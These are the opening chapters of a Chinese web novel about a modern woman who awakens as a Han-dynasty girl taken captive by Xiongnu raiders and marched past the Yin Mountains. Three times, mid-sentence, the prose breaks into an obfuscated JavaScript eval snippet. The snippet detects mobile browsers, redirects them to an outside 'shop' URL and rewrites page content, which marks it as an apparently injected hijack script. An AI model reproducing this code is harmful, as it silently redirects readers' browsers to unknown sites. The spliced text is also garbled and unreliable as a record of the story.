《却见冠军侯》 1. 第 1 章 苍青色的天空无边无际,向远处延伸,秋风肆虐吹拂,大雁结成人字队列南飞,水墨色的“人”字在天空随着气流变幻形态,愈向南方而去,那一串墨痕一样的影子越来越远,黑色的雁影越来越淡、越来越小。天空也随之显得越来越广大,越来越遥远。 衰黄的草地上,人群蚁结,排成一支长长的队伍,背对汉家城阙,踩着连天衰草,蜿蜒千里,在队伍一旁骑兵的驱赶下,迤逦往北行去。 队伍中约有一千多人,他们全是匈奴人从汉朝边境掳掠走的汉家百姓,这些人中有男有女,有的年少,有的年老,大多是壮年,他们表情惊惶,形容狼狈、衣衫亦是简陋。有些人身上带着伤、或是衣服沾了血迹,有的人崴着脚走路,所有人都被两侧的胡人骑兵裹挟着前行。 这些高鼻深目的胡人骑兵沿着汉人的队伍排列,每相隔几丈就有一两名胡人骑兵,更多胡人骑兵在队伍前面和末尾,各有几百人之多。他们头戴锥形毡帽,身穿左衽皮衣,身侧挎着刀背着弓箭,就在队伍两侧谨慎前行,他们胯、下的马儿厌恶秋天缺乏水分的秋草,跺着脚往前走,一副不耐烦的样子。 马上骑士偶尔挥动一下鞭子,提示马儿前行的方向。 塞外地域平坦,西北风大声呼啸,畅通无阻,直直刮过来,穿透人们单薄的衣衫,侵人肌骨。 胡人骑士们在人群两侧骑着马巡视漫行,他们不时挥舞着马鞭,神情或是紧绷或是狂乱,有人鼓动嘴巴,或是用自己的族语叱骂,或是发出狼一样的呜呜嚎叫。 队列中的汉家百姓才被国家拖拽而出,本自惊魂未定,此时更受匈奴人恐吓,越发瑟缩惊惶。 也许是实在不愿意离开身后那片熟悉的土地和家人,大家走得并不快。 受惊久了,人们抱着肩膀,愁云惨淡,无奈随着驱逐前行,队伍当中偶尔有人发出一两声啜泣。 庄翎夹在队伍之中,也和大多数人一样,低着头深一脚浅一脚地随着队伍前行,她表情有些意外,却没有更多的惶恐惊慌,反而不时冷静观察周围。走在自己前面的是个二十岁上下的年轻女子,对方中等身高,手边牵着一个四五岁的孩子,小孩天真无邪,不知情况,呆呆打量四周,年轻的母亲十分慌乱,不时发抖,只紧紧抓住小孩的手。 庄翎直视过去,正好看见对方肩膀。 她眉头微微一皱。 视野变矮了?不,是自己的身高变矮了。 不是想这个的时候,庄翎暂时忽略这一点,她往更前面看去。 自己前方的队伍大约有二三百米长,也许有三四百人,队伍一侧胡人骑马来回驱赶,队伍中的人们几乎都穿粗布衣裳,有的女子腰间系裙,有的身穿曲裾,长长的衣摆盖住双腿。 人群男女混杂,但是青壮年居多。 趁人不注意,她往队伍后方看去,之间人群蜿蜒弥漫,明显比前方的队伍更长一倍有余。 目光略过骑马挥鞭的胡人骑兵,她低头打量此时的自己,长发束在脑后,身穿一件蓝色曲裾,右衽,领口袖口具有深蓝色边缘,袖子里的手悄悄摸摸袖口,指腹触感粗粝,是结实的细麻布料子。 她伸出手,看了眼自己的指腹,指节纤细,皮肤柔嫩,指骨和手骨也俱是纤细修长一条。 从骨相上看,这是一个青春少女的手,她正在身高快速发展的纵向生长时期,大约是……十三四岁。 自己竟然来到了古代,还成了一个十三四岁的女孩子? 庄翎内心震惊不已,她回忆脑海里关于现代社会的最后记忆,她只记得心电图机一声尖叫,按理说她已经死亡,怎么会眨眼间又好端端地使用着双腿在地上走路? 是死而复生吗? 队伍一侧胡人骑兵驱赶胯、下马匹往前,正经从庄翎身旁经过,走她在前面的孩子大叫一声“娘!”慌张往一旁母亲身上靠去。 骑兵的马被惊了一下,撩起前蹄来要发作,骑兵拽住马匹,十分不悦,当即一鞭甩过,打在小孩儿身上,孩子母亲恐惧不已,眼看孩子张嘴要哭,连忙捂住孩子的嘴巴,将孩子半抱住拽着往前走,骑兵嘴里叽里咕噜,叱骂几句,没再多看一旁母子二人,打马往前去了。 打人的骑兵驱马远去,接连几个骑兵也驱马往前,身前身后的人们都在往前走,没人太在意这个小插曲。 母亲渐渐放开捂着孩子嘴巴的手,小孩儿脸红红的,不知道是因为窒息,还是因为哭得,他满脸泪痕,抓着母亲的手,尖声叫道:“娘,我好疼!我好疼啊!” 他母亲想要拍孩子后背,意识到孩子背后有伤,也露出一个想哭的表情,拍拍孩子的肩膀,说道:“别怕,一会儿就不疼了,你忍一忍,一会儿就好了。” 这孩子后背挨鞭打的地方衣服已经破开,露出后背伤口,微黑色皮肤一道坟起的紫红血肿,皮层有些破了,出了点血,瞧着很是吓人。 如果对于成人来说,只是皮外伤而已,但是对孩子,谁也不知道会怎么样。 庄翎一直注意着这母子二人,也目睹了方才发生的事情,正心有担忧,忽然听见身边挽着她胳膊的女孩子在低声啜泣。 那母亲看了孩子伤口一眼,越发将孩子紧紧按在身边,安慰道:“跟着娘,别哭,好好走路。” 庄翎微微皱眉,从刚刚到现在,这个女人说的话……读音和普通话相去甚远,也不像是她听过的任何一种方言。 自己听不懂这里汉人的语言,庄翎抿抿唇,越发谨慎。 身边少女看了她一眼,似也被刚才的事儿吓到,靠她更紧了。 庄翎看了一眼身边人,是个十三四岁年纪的女孩儿,穿一身红棕色直裾,长相清秀,眼睛已经哭肿了,脸被风吹得通红,没有现代人常见的刘海,长头梳在背后挽成一个发髻,也是个年轻漂亮的女孩子。 不知道这姑娘是她的朋友、姐妹,还是陌生人? 看着看着,她想起来,自己前后这些人的衣着打扮有些像影视剧里的汉朝人装扮。 再看别人的样子,男人女人都是长发梳髻,衣服窄,曲裾或是直裾,还有些短衫长裤,很像是汉朝时候的衣着,自己是穿越到了汉朝吗? 成为了被胡人掳掠来的奴隶。 只是不知道此时是东汉还是西汉。 庄翎微微抬头,目光向远处望去,视线越过人群,也越过高高骑在马匹上的胡人骑兵,向更远处望去。 视野极处一座连绵起伏的山脉,此山呈黄绿色,东西漫长无边,足有数千里,其中小山峰重重叠叠,峰顶吞吐着蔼蔼云气,模糊笼罩。 这座山是他们前行的方向,庄翎看这座山,总觉得山脉的起伏形状有些熟悉,想了想,忽然发觉这座山很像是地理图集里的阴山山脉。 而秦汉时期,阴山山脉正在国家疆界之北,与匈奴分隔。 自己真是穿越到了汉朝吗? 古今两千年,多少春与秋,她为这时光难过,也庆幸于自己穿越到了一个历史上真正存在过的年代,至少它不是全然陌生。 身边是一个年龄相仿的少女,一手挽着她的胳膊,还在暗自啜泣,她很想问问对方是否知道自己是谁,现在是什么时代。而自己没有原主记忆,也不知两个人是什么关系,怕言语之间泄露,引来两旁胡人关注,生出什么意外来,只好按捺住心头的疑惑,继续前行。 骑在马上的胡人们,只看长相,他们皮肤微黑,五官轮廓稍稍明显,整体与汉人没有太明显的差别,他们的头发也是和汉人一样的黑色,只是都披散着。 这些骑士中大多数人并不算高大,他们上身相对更长一些,手臂也是略长。 他们双腿夹着马儿腹部,两脚轻轻一踢,马儿就知道往哪个方向走,而他们手中的鞭子,在不着急的时候不用在马儿身上,只用在一旁的奴隶身上。 好像在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494270|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 博物馆看见过这些骑士的影像,这些人是匈奴人吗? 庄翎踩着布鞋,穿行在荒草之间,砂石硌得鞋底生疼,脚下衰草没过脚踝,上面覆盖着一层沁凉的霜露,随着前行,渐渐濡湿了鞋袜,边缘锋利的芦苇一点点割破了布袜,划烂了她的脚腕,庄翎微微咬住牙齿,深一脚浅一脚地随着队伍前行。 不管现在是哪个朝代,她作为被胡人俘获的的奴隶都不会太好过。 西北风不断吹来,庄翎越来越冷,她微微低头,按了按被风灌入的衣襟。 一路上,她忍耐着寒冷、饥饿,还有疼痛,时不时听见前方那对母子的啜泣,她心事重重,也渐渐忘却寒冷和饥饿。 连绵起伏百里的阴山山脉就在不远处了,驱赶行人的胡人骑士明显着急起来,他们不再不时发出吼叫,一个个沉默着扬鞭催促人马,汉人的话语他们不大通,也无意愿和这些奴隶沟通,看不顺眼一鞭子打过去,如果还有哪个不听话,更有第二鞭。 随着人群被迫不断靠近眼前的阴山山脉,队伍中的气氛越发低迷紧张,前面女子和孩子已经不敢再哭了,所有人都步履沉重。 庄翎周身冷透,她看周围的气氛情形,意识到这些胡人骑兵是要带着他们穿越阴山山脉,到山的另一边去。只要过了阴山,他们就远离了汉地,也就接近了匈奴人的部落。 以后就很难再回来了。 这个念头一生起来,她心里一阵难过,哪怕她还没有去过这个时代的汉朝土地,不知道这个时代的皇帝是谁,更不知道现在的汉人过着怎样的生活,她仍是为此伤感难抑。 她勉强冷静。 哀戚的也不止她一人,这些有父母儿女在国土的本土汉人,比庄翎更加难过十倍百倍。 每年秋天,匈奴水草匮乏,马儿吃肥了肚子,天气就要将要转寒,匈奴便会率领骑兵南下侵袭汉朝边郡,抢夺奴隶、粮食、衣服、布料、牛马…… 而近些年汉匈交战,两相结怨,这些匈奴人来得更加频繁,这些常年生活在北方边境的百姓深受其害,他们望见眼前的阴山,内心无限悲戚,都知道就要到达匈奴人的领地了。 一旦进入匈奴领地,从此生死难以预料,也再无法见到自己的家人了。 人们想着这些,队伍弥漫上浓重的哀戚之情。 忽然,汉人队伍中一个年轻男子猛地从疾跑出去,不知是怎样的胆量和恐惧支持着他,这人竟然不管不顾从队伍旁边两个匈奴骑兵中穿出去,他一下子就跑出去好远。 人们看着他逃跑,十分意外,也暗暗希望他能成功。 不同于队伍里大多数衣服仅能蔽体的人,他身穿菱花直裾,衣着秀雅,体格略胖,看上去更有力气。 此人一直拼命往前奔跑,已经离队数百米,队伍两侧骑兵注视着他的背影,始终不曾追赶,他们的马儿因为停下脚步在地上不耐烦地踢踏。不知怎地,庄翎心里有不好的预感,她暗暗捏住一把汗,凝神观察。 只见方才被那男子擦身而过的胡人骑兵从身后箭囊抽出一支羽箭,搭住弓弦,箭簇对准男子后背,缓缓拉满弓弦,听见弓弦轻颤,弓箭正好钉在那个向西逃跑的青年男子背心,那人脚步猛地停住,下一刻,已面目朝前扑倒在荒草地上,他手足抽搐几下,鲜血自身下洇出,顷刻间就已气绝身亡。 身边的少女受了一惊,一手捂住嘴巴,掩住惊呼,另一只手死死攥住了庄翎的胳膊,指甲扎到庄翎的肉里,那女孩儿浑身止不住地发抖。 才这么小就看到这样的血腥场面,庄翎真怕这女孩儿吓晕过去,她忍耐着胳膊上的疼痛,伸手轻轻拍了拍这女孩儿覆在自己手臂上的手背,以示安慰。 女孩儿感觉到手背的温度,抬头看了她一眼,惊魂未定的眼神碰触到她安慰的眼神,微微定下心来。 背后的匈奴人挥舞几下马鞭,驱赶着这几百奴隶往前,向近在咫尺的阴山走去。 2. 第 2 章 随着人们一步步走近阴山,阴山山脉本身面貌也渐渐眼中清晰起来,人们站在阴山脚下,能看清迎面山壁上的一草一木。 眼前的山峰全是土石组成的山脉,山上植物树木相当稀少,左一块又一块长在山壁上,更大片黄色壁土裸露,偶有一窝野草镶嵌在山见土石缝隙当中,这些植物和这座山一起呈现出黄色,风从北方吹来,干枯的野草窸窣作响,吹下的沙土打在迎面走来的汉人头脸上。 人们纷纷举起胳膊遮住头脸或捂住口鼻低头行走。 庄翎也如众人一般抬着袖子掩住口鼻,不过她是假做模样,实际她的注意力在匈奴人身上,衣袖上的双眼一直仔细观察四周的地形和匈奴人,左近是个匈奴人长官骑马行在前头,不知是什么官员,她正看着,不妨一粒沙子打入右侧眼角,她十分难受地眨了眨右眼,希望眼皮眨动时能多生出点泪液,带出这一粒黄沙。 就在这时,一个匈奴骑兵斥候策马奔来,到前方匈奴千夫长马前,快语报说:“蔑顿大人,后面有汉军追来!” 千夫长蔑顿问道:“来了多少人?” 骑兵斥候道:“约二百骑。” 蔑顿冷冷一笑,说道:“想要讨回这些奴隶是吧?老鹰什么时候会放开抓到双爪中的兔子?传令下去,留下三百骑兵在此迎击,挡住汉军,待队尾全进阴山,你们自行回退。” “告诉将士们,不要吝惜手中箭矢,多杀的汉人算是他们的功劳。” 匈奴斥候拱手应道:“是!”,接过军令,上马往队后去了。 庄翎眼见匈奴骑兵千夫长听见斥候说话先是冷笑,又叽里咕噜下了一串命令,在他下令之后那斥候显然有些激动,急急往队尾而去,像是有什么急事儿一样。 她虽听不懂这些胡人在讲什么,但一直留意两个匈奴人的表情,看两个人表情变化,猜想大致没什么好事。 那斥候走后,匈奴人越发着急催促汉人加紧进入阴山谷口,此时队伍最前方的人已经进入山谷,剩下的人也在相继进入阴山山谷,庄翎低头随着队伍前行,匈奴人催促人们走得快了几分,她自己也即将走入谷口,就在那几步之前,豁然听见队尾的匈奴人发出一阵嚎叫喧哗,接着是一阵马蹄奔腾离队的声音。 她心思一动,立刻意识到:是汉朝的军队追上来了,想到此处,心间不由得燃起期待来。 方回头看去,只听几声鞭声破空,匈奴人的皮鞭落在同行人的肩背上,他们大声呵斥:“快走,都给往前走!”几声疼痛的闷哼淹没在惊慌杂沓的脚步声中。 人们不得不加快步伐走入山谷,庄翎和所有人一样到了山谷之间,往里走了一会儿,只见两山只见是一条狭长崎岖的道路,路面宽度只能容三四人同时走过,路面不时有些碎石和风干或新鲜的马粪。风从道路尽头来,在两侧山壁之间呼呼作响,人们行走呼吸之间全是经年的尘土和马粪淡淡的腥味。道路一侧依着山壁,另一侧是倾斜着的沟壑,里头杂草丛生,现在也只是荒草而已,走着走着,一旁沟壑变成了悬崖峭壁,这条道路也越发狭窄。 匈奴人催得急,人们拥挤行走,偶尔会碰掉一两块碎石滑落下方悬崖,骨碌碌滚下去,划嚓擦经过峭壁,落下去没有半点回声传出,人们都猜下方必定是极深,慌忙之中更添几分小心翼翼。 庄翎身侧的女孩儿紧紧抱住她的胳膊,不时看一眼道路一侧的悬崖,十分害怕,每每听见石子滑落崖下的声响,就心惊胆战,越发靠向庄翎。 庄翎知道她害怕,也挽住她的胳膊,握住她汗湿的手心。 匈奴人在队伍当中连连挥鞭催促,人们脚步疲惫地向前走,不知不觉已经走出好远,庄翎一直留小半心神在队伍后方,却一直没听见汉人骑兵的声音,也不见后面有什么交战乱声,她心里那么一点期待,也随着脚下的路程渐远一点点消减近于无了。 又过了一些时候,匈奴骑兵斥候回来向千夫长报信,一阵马蹄声在队后响起,不久前离开的匈奴骑兵归队,因为道路狭窄,队伍越发拥挤细长,队尾的声音隔得太远,已经不能听得真切,只听到隐约轰隆声,悬崖旁边碎石被惊落数枚。 再往前,他们已经走入山脉腹地,路却越来越窄,人群越发拥挤,庄翎和身边的女孩儿不知不觉被挤到了靠近悬崖一侧的路边,两人站位变成一前一后,庄翎在前,那女孩儿在后。 二人各自小心走路,谁也不敢再拉另一个人的手了。 高山遮挡阳光,深谷蕴藉雾气,时间也渐至午后,谷间日光越发稀薄,周围光线昏黄暗淡。 庄翎看着脚下地面,小心迈过碎石,时刻注意不碰到身前和身侧的人,希望身后的女孩儿能留意到她的动作,也不要踩到那个石块上,她侧前方还是那个带孩子的年轻女子,对方的小孩儿已经走不动了,她将小孩儿负在背上弯腰前行,行得久了她一下一下喘息,所有人都很疲惫。 穿红棕色衣衫的女孩儿跟在庄翎身后,同样左右留神身边的人,踩着庄翎走过的路前行,她路上又渴又饿,精力不济,疲惫恍惚,一个不注意,脚下踩到一块石头,当即全身失衡,向一旁悬崖栽倒下去。 女孩儿方才下坠,眼见万丈深渊将要吞没自己,惊慌之下,她本能破音大叫一声:“救命!” 庄翎一惊,立刻回头,就见那女孩儿已经跌落悬崖,正一只手扒在悬崖上的石块上,正挂在峭壁,仰头向上看,半哭不哭,满眼绝望祈求。她停下脚步,连忙去崖边,伸手去拉对方。 那女孩儿死死扣住庄翎拉自己的手,伸腿踢蹬,试图在峭壁上寻一处借力地方踩踏,好往上攀爬。可这陡峭山壁,寸草不生,哪里容易寻到借力之处?女孩儿踢到两块沙土,又在土凹中打了两滑,踩掉一根植物烂根,挣扎几次,竟是没能向上半分。 那女孩儿一边继续寻借力处,一面对头上庄翎哭求:“求求你,别松手!” 庄翎她现在也只是个十三四岁大小的女孩儿,肌骨瘦弱,在草地山路跋涉了半日,水米未进,嘴唇干裂,五脏如炙,早有些脱水,已然没有多少力气。拉拽这女孩儿一会儿功夫里将近力竭,但她唯恐一旦脱手,这女孩儿的生命就将消亡在自己手中,硬是无法放开。 她侧头环望四周,期盼有个人和自己一起搭救这女孩儿,只见左近一个老人、一旁是那个背着小孩儿的女人,两人旁边是个手臂受伤失血的男子……更远些还有几个差不多年纪人侧着面目,不肯看这个方向,庄翎也就知道对方无意施救。 暗叹一声不巧,她仍尽力拉住悬崖下的女孩儿。 因为她和坠崖的女孩儿,这一小段路拥塞住了。 队伍中的匈奴骑兵在马上看见前方停滞,驱赶马匹上前,见一个女孩儿跪在悬崖边缘拉着另一个半坠崖的女孩儿,阻碍了人流,叱道:“放开她!” 听不懂这人在说什么,但知道对方什么意思,并没有松手。 匈奴骑兵见这汉女不听从自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494271|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己的命令,甚是恼怒,举起马鞭毫不留情抽向庄翎后背。 皮鞭打上脊背,登时皮开肉绽,庄翎咬牙更加拉拽悬崖下的女孩儿,没有丝毫松开的意思,她双目注视着挂在悬崖峭壁的女孩儿。 匈奴骑兵的马匹就在庄翎两步远的地方不耐烦地踢踏两只前蹄,过度疲惫紧张,汗水从她鬓角滑落,庄翎只一心等那女孩儿爬上来。 崖壁上的女孩儿心知自己要是再不爬上来,一旁匈奴骑兵恐怕会再强迫庄翎放弃自己,或是将她二人一起推下悬崖,那可真是只有死路一条了。 女孩儿不甘心去死,也不想连累庄翎去死,脚下越发扑腾,手上也使劲往上,也是运气,当真踏到一块结实树根,借着庄翎手上的力道,拼尽全力,几下就攀上狭路来。 后方的匈奴骑士已经忍耐到了极限,见她两人爬起来,冷哼一声,叱骂着催促大家赶路。 两人才站稳,立刻加快脚步前行,再稍微晚一点,恐怕匈奴人的皮鞭就要再次落下了。只是这回,女孩儿又牢牢抓住庄翎的胳膊,和她并排行走。 走了一会儿,庄翎指了指那女孩儿身上,用普通话问道:“你要不要紧?” 对方明白她的意思,摇摇头。 她也用自己习惯的方言问庄翎,说道:“你怎么样?身上还好吗?”女孩儿记得庄翎刚才挨了骑兵一鞭子,她往庄翎背后看,衣服是厚麻布料子,十分结实,布料尚算完好,只有些起毛受损,她不敢碰触庄翎被抽打的地方,只隔着布料虚虚摸了摸,再次问她。 估计也是肿破了,不是想这些的时候,庄翎摇摇头。 走着走着,道路变宽一些,没过太久,他们也从阴山腹部走了出来,阳光大亮。 面前是一片草原,衰草连天,广袤至极,零星可见几棵瘦小树木立在原野上,偶尔看见狐狸野狗之类的东西探出头来,或是远远望见个胡人影子。 穿过阴山,回到了草原,匈奴骑兵肉眼可见放松下来,他们大叫几声,甩开马鞭,一面呼喊,一面驱赶着后面的队伍往前赶,骑兵队伍不停移动,人们躲避着马蹄,往中间缩躲,队伍霎时拥挤起来。 庄翎和那个女孩子牵着手,躲避着人和马蹄,她后背有鞭伤,也只是忍痛,和所有人一样乱走乱跑。 匈奴人习惯了放牧,赶人也像是放羊放牛,过了阴山就是匈奴的草场,他们尽管自由自在,将队伍变成环形,按照自己习惯驱赶牛羊一样将汉人们驱赶在圈子里,让他们快些走路。 距离匈奴聚居区还有很远一段路程,匈奴人刚离开汉朝土地心情轻快,根本不顾及他们。 推搡之间,庄翎的后背被人碰了一下,她疼得皱眉,身边的少女对撞人者怒目斜视,关切问她:“怎么样?疼不疼?” 庄翎说:“没事儿。” 大家只得磕磕碰碰、跌跌撞撞继续往前走去。一群饱受惊吓精疲力竭的人在这个圈子里一边闪躲左右碰撞一边踉跄前行。 总这样乱跑,会不会发生踩踏事故?这些匈奴人根本不会在意这样的事儿,甚至可能乐见热闹,庄翎皱眉。 不知道走了多远,太阳渐渐落下远方的地平线,匈奴人将他们驱赶到一小片草滩,里面长着一些高低不同的灌木杂草,而他们骑着马儿松松散散地在草滩上溜达。 匈奴人骑在马背上,从随身干粮袋子里摸出肉干,塞到嘴巴里大力咀嚼充饥,偶尔口渴随手拿过挂在马鞍上的水囊咕咚咕咚饮水。 3. 第 3 章 人们站在灌木丛附近,都有些茫然,方才匈奴人将他们围聚于此,就不再着急赶路,各自在马上自顾吃喝,任由他们站在灌木丛里外,仿佛是随便他们怎样。已经知道逃跑就是死,更何况已经到了匈奴地界,逃又能逃到哪里去? 而且,经过几个时辰的长途跋涉,大家体力消耗大半,腹中饥肠辘辘,口渴难忍,早没有力气再跑了。 人们都很饿。 没人指望匈奴人拿来他们的粮食和水分给自己,大家打量周围景象,灌木一丛丛生长,高度方及成年人腰部,虽已秋末,这些灌木还是绿色,灌木丛中的衰黄草地中也夹杂着一些绿色的植物。 汉人之中,有人在观察灌木和野草的时候,忽然发现地上一株野草上长着几枚纺锤形的绿色果子,他趁人不注意抢先过去,将那几枚果子扯下,塞入口中。 人们见此才知道,这灌木丛林中还有一些野果野菜可以食用,匈奴人熟悉本土路径,将他们围在这里却不拘束,必定是让他们自行到灌木丛里寻摸野菜野草果腹。 意识到这一点,有几个人试探走入灌木林中搜寻,匈奴人果然不曾呼喝阻止,他们又走了两步,陆续见到一些可以食用的植物。 可以吃东西了。 人们心里一松,千百人都走入这片灌木丛中搜寻食物果腹。 秋季草木荒疏,山间野菜野草大半荒芜,而这片灌木丛也不过三五里大小,可以想见,里面能吃的东西不会很多,更不知道匈奴人一会儿还会不会让大家继续赶路,人们都抓紧时间填饱肚子。 野菜、野果、植物的根茎都可以食用,人们不挑,凡是找到的都吃掉。 庄翎和身旁的女孩儿在一起寻找野菜,她认得几样植物,那女孩儿认识的植物更多一些,两人各自采摘,不时找到一些野菜,那女孩儿有时候也会递给庄翎一支野菜或是一小块细细的植物根茎。 没有火苗,无法烹饪,大家又急于饱腹,只能生吞嚼咽。所有人都这样吃,包括身边的年轻女孩儿,庄翎也默默将野菜塞入口中,咀嚼时苦涩的味道在唇舌之间四溢,她没有表现出异常。 抬眼看看天色,依旧有大雁成群结队向南飞去,按照生物习性计算,北雁南飞应该在农历八月之后。 北方的农历八月已经很晚了,冰霜清晨凝结,也就是说入夜之后会很冷,尤其在野外,只会更冷。 庄翎和女孩儿慢慢走着,看见一株半干枯的蒲公英,叶子都干枯在枝干上,花朵也衰败腐烂掉了。 取而代之的是一个松松散散的白绒球团虚虚悬在花蒂上,微风过时,轻轻摇动,它们是蒲公英的种子。 只这么一点蓬松种子不值得一吃,而且这东西有些苦,许多人从这里经过,都没有采摘。 庄翎摸了摸衣袖,从中摸出一块素白色手帕来,随手采摘蒲公英的种子和枯叶,放在手帕上。 身旁的女孩儿多看了几眼她的手帕和蒲公英,说道:“%&#?” 庄翎听不懂对方这句问话,轻轻摇了摇头。 灌木丛旁骑在马上的匈奴人渐渐从马背上下来,他们有的随意挽着缰绳慢行,有的将马儿系在一旁吃草,自己坐下来歇息。 这些人看似放松,却刀不离身,弓不离手。 他们大约还在警戒,又或许这只是他们的习惯而已。 庄翎看见匈奴千夫长站在灌木丛之外,正对身边副将吩咐事情,风将二人话音送来,可惜却听不懂两个人在说什么,多关注无益,她收回视线,继续采摘眼前的蒲公英叶子。 而灌木丛之外,匈奴千夫长对面前副将说道:“你让人去报告大单于,就说从雁门关掳来了一千三百名奴隶已经顺利过了阴山,要不了几天,蔑顿就会牵着这些汉人奴隶来到王庭的羊圈。” 副将恭敬地应道:“是,小人这就安排人去报告大单于。” “你亲自去,去之前安排好今天晚上的守夜,我们的马匹累了,士兵也需要休息,今夜就在附近休息。” 匈奴骑士道一声:“是。”回身找到附近几个骑士领队,将千夫长的吩咐传达下去,自己换了一匹马,往王庭去了。 只听这二人严肃地叽里咕噜,不知道在说什么,言语不像自己学过的任何一种外语。 庄翎暗地里皱眉,心情十分苦恼。 余光注意到身边的女孩子试着采摘蒲公英种子吃,她抬手微微制止,女孩儿意外,收回手,微微相让,看向庄翎。 “¥%*?” 也听不懂这个女孩儿在说什么。 庄翎指了指蒲公英,另一只手摸了摸胃部,轻轻摇摇手。 蒲公英性寒凉,吃多了可能会肚子疼,对人不好。 女孩子点点头,庄翎在几株蒲公英上采摘够了自己要的叶子和种子,和对方一起往前走,继续寻找别的食物。 地上也有些野生的苦菜、野生的韭菜、剩下的野菜庄翎大多不认得。 二人稍稍避开一起被俘虏来的其他人,搜寻间隙,找个空隙说话。 女孩儿指了指自己,又指了指庄翎,说道:“我叫秋,你叫什么名字?” 她又重复了一遍刚才的动作和言语。 庄翎叫她:“秋。”,她的发音很准,完全重复了秋刚才的读音和声调。 虽然古今语言不大一样,但也是同源,细心一些,重复并不很难。 秋点点头,看着庄翎,目光等待。 庄翎指了指自己,放慢语调,用普通话说道:“庄翎。”,她又重复一遍。 秋像她一样重复:“zh#$+?” 声音磕磕巴巴,音调、语调,全都错了。 秋露露出苦恼困惑的表情,庄翎又指着自己,更加放慢语速,又重复一遍:“庄翎。” “zksangli#¥&king” 秋的发音仍然不准,庄翎第一次见本族人说汉话露出外国人学习汉语的困惑表情,她心里觉得有趣儿,笑了笑。随手折下一段灌木枝,蹲下身,在空地上落下一笔,写道:庄…… 才写下一个广字,她意识到自己现在被人俘虏,这个女孩子既然和她交换姓名,显然她们从前不认识,此时最好还是不要过于暴露自己,她停下笔。 现代的文字和古代的文字不太一样,不过……这个女孩儿识字吗? 她看向身边的秋。 秋歪头看了看庄翎方才落笔的一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17494272|202393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个“广”字,摇摇头,说道:“我不认字。” 如果这女孩儿认字,虽然用文字交流可能会有一定风险,但她也能在这种交流中获得更多关于这个时代的信息。 至少知道她们是从哪里来的,现在是汉朝的哪一年,是不是西汉,汉朝皇帝又是谁,大将军是谁…… 听到她不识字,庄翎知道自己无法通过文字与对方交流,也无法获得自己想要的常识信息,她心里叹了口气,微微失望,也知道急不来,伸手拂过地上的土壤,将那个“广”字涂盖。 秋有些不好意思,说道:“我家里穷,没读过书。” 庄翎微微一笑,表示没关系,与秋对视之间,她在对面的秋的瞳孔里看到了自己面容的倒影。 陌生的少女像今天见过的许多女子一样,头发整齐的梳在脑后,露出干净的额头,她脸上有许多灰尘,掩盖了真正的五官相貌,只隐约能从轮廓中看出几分清秀来,庄翎也不知自己现在的长相是美还是丑,又或者是一般般?只有她的表情还似从前,依稀有几分熟悉。 眼前的秋总是一副惊慌忙乱的样子,低着头,缩着身子,这样很容易让人忽视她。仔细打量,就发现她长得漂亮,皮肤白皙,双眼皮,大眼睛尖下巴,只是和这里的大多数女子一样,她身形有些瘦小。 庄翎打量秋,秋也打量庄翎,对面的庄翎脸上有许多灰尘,脏兮兮,看不出美丑。现在看来,就应该是个邋遢的丑姑娘。 但是秋却在对视之间一下子被对面的庄翎吸引住了,对面的人有一双秋从未见过的眼睛,虽然和所有人一样都是黑色眼瞳,但她的眼睛就这么注视着别人的时候却透出一种不一样的味道,黑润润的,清亮又沉静,让人看着无比安心。 因为这双眼睛,秋有些好奇庄翎的长相,她小心抬起袖口,试着为庄翎擦拭面颊上的灰尘。 庄翎笑笑,抬手制止了秋的动作。 落在这种境地,面目上脏一些,看起来丑点而已,没什么不好的。 黄鹄在天上长一声短一声的鸣叫,偶尔有狐狸、野狗、还有不知名动物的叫声远远近近地传来。 庄翎和秋一起站起来,今天大部分时间走在自己前面的那个带孩子的年轻女子在附近经过,对方牵着那个四五岁大的孩子,小小的孩子穿着一身破旧的棕灰色粗布衣裳,头上乱七八糟地扎着三个小揪揪,看不出是男孩儿还是女孩儿。 那孩子的母亲从地上采了一株野菜,将其中尚能食用的茎尖揪下来,递给一旁的小孩儿。 小孩子伸手接过来,他像是知道这个味道必定是苦的,没有吃就露出被苦到的表情,但没有哭,乖乖将母亲给的苦野菜放到了嘴巴里,咀嚼两下,咽下腹中。而那女人也将手里剩下的硬一些的野菜放入口中,嚼咽下去。 庄翎默默看着不远处这一幕,心里却有种说不出的难过。 秋在一旁又发现一株野菜,说:“z……这里。” 她叹气,抬头对庄翎说:“我不会读你的名字,叫你姐姐好不好?” 庄翎又听不懂对方在说什么了,但好像在对方一长串语言中听见了“姐姐”这个字,应该不是错觉。 她微微点头。 4. 第 4 章 